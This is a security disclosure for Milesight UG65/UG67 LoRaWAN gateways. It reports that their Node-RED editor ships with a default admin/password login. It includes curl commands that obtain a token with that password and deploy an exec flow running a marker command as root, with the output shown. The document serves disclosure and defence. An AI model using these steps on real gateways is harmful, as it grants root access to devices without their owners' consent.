Default Administrator Credentials in Node-RED

Tags

authenticated, default_credentials, root_execution, feature_dependent, tested

Disclosure information

Field Value
Vendor Milesight
Product UG65 and UG67 LoRaWAN gateways
Tested firmware 60.0.0.50
Component Node-RED runtime (Milesight build 3.0.2, ursa_plugin 2.0.3), exposed through nginx /node-red and directly on TCP 1880
Weakness class CWE-1392, Use of Default Credentials
Authentication Required: Node-RED administrator login with the unchanged default password
Suggested severity Not finalized; depends on credential provisioning and network exposure
Validation status Tested; default login and root execution verified; normal provisioning remains untested
Discovery date 2026-10-23

Summary

The firmware ships a Node-RED administrator account, admin / password, with full editor permissions. Node-RED is disabled by default (enable=false in /etc/node_red/node_red.json).

With the feature enabled and factory credentials restored, testing confirmed login and deployment of an exec flow that ran as root, both through nginx /node-red on HTTPS 443 and directly on TCP 1880. This is a default-credential finding: administrator flow execution is intended behavior, not command injection or an authentication bypass. See the Node-RED security documentation for editor and admin API access controls.

Whether normal provisioning leaves the password usable remains untested. See the test preparation, credential and exposure details, and remaining validation.

Authentication and validation

Item Evidence
Required account Node-RED administrator, using admin / password in the test
Shipped service state Disabled in node_red.json
Test preparation Feature enabled and factory password hash restored
Recorded result Login, flow deployment, and command execution as root in the test environment
Root cause under review Whether normal provisioning leaves known default credentials usable
Intended functionality Administrator flow deployment and use of the exec node

The command execution result establishes the impact of full editor access with the process privileges used in the test. It does not establish a Node-RED execution bug, authentication bypass, or the normal credential state of a provisioned device.

Proof of concept

The following was recorded in the isolated test environment using firmware 60.0.0.50, with the factory Node-RED password restored. The script poc_nodered_factory_cred_rce.py logs in, deploys a test flow, and then clears the flow configuration. Its filename retains the earlier RCE label. The behavior tested here is default-credential access followed by an administrator using the exec node.

The script replaces the current flow configuration and clears it during cleanup. It was used in the disposable test environment with no production flows. Run it from the workspace root:

.venv/bin/python poc_nodered_factory_cred_rce.py --host 127.0.0.1 --port 18443 \
    --command 'id > /tmp/duckie; echo duckie >> /tmp/duckie'

Step 1 - Enable Node-RED in the test environment

This preparation requires cookies.txt from the shared web login procedure. For the credential issue to affect another device, an operator must have already enabled Node-RED and left its default password unchanged.

curl -sk -b cookies.txt -X POST https://<gateway>/cgi \
  -H 'Content-Type: application/json' \
  -d '{"id":1,"execute":1,"core":"yruo_loragw","function":"set","values":[{"base":"node_red","index":0,"value":{"enable":true,"ssl_enable":true}}]}'

Step 2 - Authenticate with the default Node-RED credential

The token endpoint uses an oauth2orize password grant and expects a form-encoded body. A JSON body is rejected with HTTP 401:

curl -sk -X POST https://<gateway>/node-red/auth/token \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'grant_type=password&client_id=node-red-editor&username=admin&password=password&scope='
{"access_token":"vVj6+SGr+lYSynhjtPC2UgsPtaKuh/nX4J+...","expires_in":604800}

Step 3 - Deploy an inject-to-exec flow

Set TOKEN to the access_token returned by the previous request. This uses the administrator account's normal flow deployment permission.

curl -sk -X POST https://<gateway>/node-red/flows \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Node-RED-Deployment-Type: full' \
  -H 'Content-Type: application/json' \
  -d '[{"id":"n1","type":"inject","z":"f1","name":"go","props":[],"repeat":"","crontab":"","once":true,"onceDelay":0.2,"topic":"","payload":"","payloadType":"str","wires":[["n2"]]},{"id":"n2","type":"exec","z":"f1","command":"id > /tmp/duckie; echo duckie >> /tmp/duckie","addpay":"","append":"","useSpawn":"false","timer":"","oldrc":false,"name":"duckie","wires":[[],[],[]]}]'

Step 4 - Verify execution as root in the test environment

# cat /tmp/duckie
uid=0(root) gid=0(root)
duckie

# ps | grep node-red
 1655 root      911m S    node-red

Reproduced end to end in the test environment on 2026-10-23: with the factory settings.js in place, the OAuth password grant returned an access token (HTTP 200) and the flow deployment (HTTP 204) executed id/echo as uid=0(root), both against the runtime directly and through the nginx /node-red proxy on the management port.

Operational note: login rate limiting

Node-RED's editor-api auth limits logins to 5 attempts per username per 10 minutes (auth.login.fail.too-many-attempts in node_modules/@node-red/editor-api/lib/auth/strategies.js). Attempts beyond that return 401 regardless of the password; this slows brute force but does not affect an attacker who knows the factory credential.

Affected assets

/usr/lib/node_modules/node_red            (Node-RED runtime)
/etc/node_red/settings.js                 (factory adminAuth credential)
/etc/node_red/node_red.json               (disabled in the shipped image)
/etc/init.d/node_red                      (service launcher)
/etc/nginx/nginx.conf                     (/node-red reverse proxy)
TCP 443 -> nginx location /node-red -> https://127.0.0.1:1880   (no IP
           restriction observed in the tested configuration)
TCP 1880 -> node-red directly (0.0.0.0; TLS when ssl_enable, plain HTTP
           otherwise)

Technical details

The factory credential

The shipped /etc/node_red/settings.js defines one admin account with permissions: "*":

adminAuth: {
    type: "credentials",
    users: [{
        username: "admin",
        password: "$2a$08$4zEjIfY6mnawhgphH68B3OIgkXqCZFzEFn.qGuWcpac1t7fBlPSVG",
        permissions: "*"
    }]
},

The bcrypt hash has cost 8 and matches password. The firmware's bundled bcryptjs returned compareSync("password", hash) === true. A stored hash is expected; the weakness is the known default password. The vendor's synchronization path can change it, so this is a default credential rather than an unchangeable password.

The PoC uses POST /node-red/auth/token to obtain an access token, then POST /node-red/flows to deploy an inject-to-exec flow.

The exec path

The bundled exec node runs commands using Node.js process execution functions. A full editor administrator is allowed to deploy this node. The test flow used an inject node with once: true to trigger a command after deployment. This is intended behavior.

Node-RED ran as root in the test environment. The startup script also contains a separate launch path selected by node_red=1 in /etc/function_version.conf. That path uses su to run under the configured system administrator account. Root execution has been confirmed for the tested launch path. It has not been established for every installation or upgrade path.

The MS-03 credential-synchronization injection is separate; this demonstration does not use it.

Credential provisioning and network exposure

Earlier credential-synchronization testing changed the test system's Node-RED password. The factory hash was restored before the default-login test. That result does not establish the password state after normal setup, a web password change, an upgrade, or application installation. The record does not identify every point where the product invokes node_red_security, or whether setup forces a change before enablement.

After enablement, nginx proxied /node-red on HTTPS 443 without an effective IP restriction in the tested configuration. Node-RED also bound 0.0.0.0:1880: TLS when ssl_enable is set, otherwise plain HTTP. The startup script attempts to add nginx restrictions during some TLS mode transitions. Firewall rules and LAN, Wi-Fi, and WAN reachability on physical devices were not tested.

Security impact

If Node-RED is enabled, reachable, and still accepts admin / password, that login grants full editor access. In the tested launch path, the intended exec node ran commands as root. Other launch paths may use a different system account; impact depends on its permissions and vendor restrictions.

See the shared root-execution impact. The test demonstrated login, flow deployment, and marker creation. It did not test persistence, radio actions, or access to production data.

Attack prerequisites

  1. Network access to the Node-RED editor or admin API through /node-red or the direct runtime listener.
  2. The Node-RED feature enabled (a supported vendor application, enabled from the web UI by the operator).
  3. The default Node-RED account still accepting admin / password.
  4. For the demonstrated root impact, Node-RED running as root.

Authentication is required. The password is known, but the login still uses the supported authentication mechanism. A disabled Node-RED service or an account with a changed password is outside this demonstrated path.

  1. Require the operator to set a unique Node-RED password before exposing the editor or accepting flow deployments.
  2. If Node-RED shares the web administrator's credentials, synchronize them before starting the service and verify that the default stops working.
  3. Run Node-RED under a dedicated account with only the permissions its flows need.
  4. Restrict editor access to intended management networks. Bind the runtime to loopback when remote access is meant to go through nginx, and enforce the intended access controls at the proxy.
  5. Check fresh setup, feature enablement, password changes, upgrades, and resets to make sure none silently restore the known default.

Validation still needed

  1. Start with a fresh physical device and complete the supported setup. Record whether a password change is required before Node-RED can start.
  2. Enable Node-RED through the normal UI and test whether admin / password is accepted without restoring or editing its settings.
  3. Change the web administrator password and check which credentials Node-RED accepts before and after synchronization.
  4. Check the runtime user and network exposure on fresh and upgraded installations.

These checks will determine whether the known password is a provisioning flaw under normal use or a default that persists only when setup is incomplete. The lab test alone does not settle that distinction. Severity remains provisional until those conditions are established.

Notes on scope

See the shared testing scope.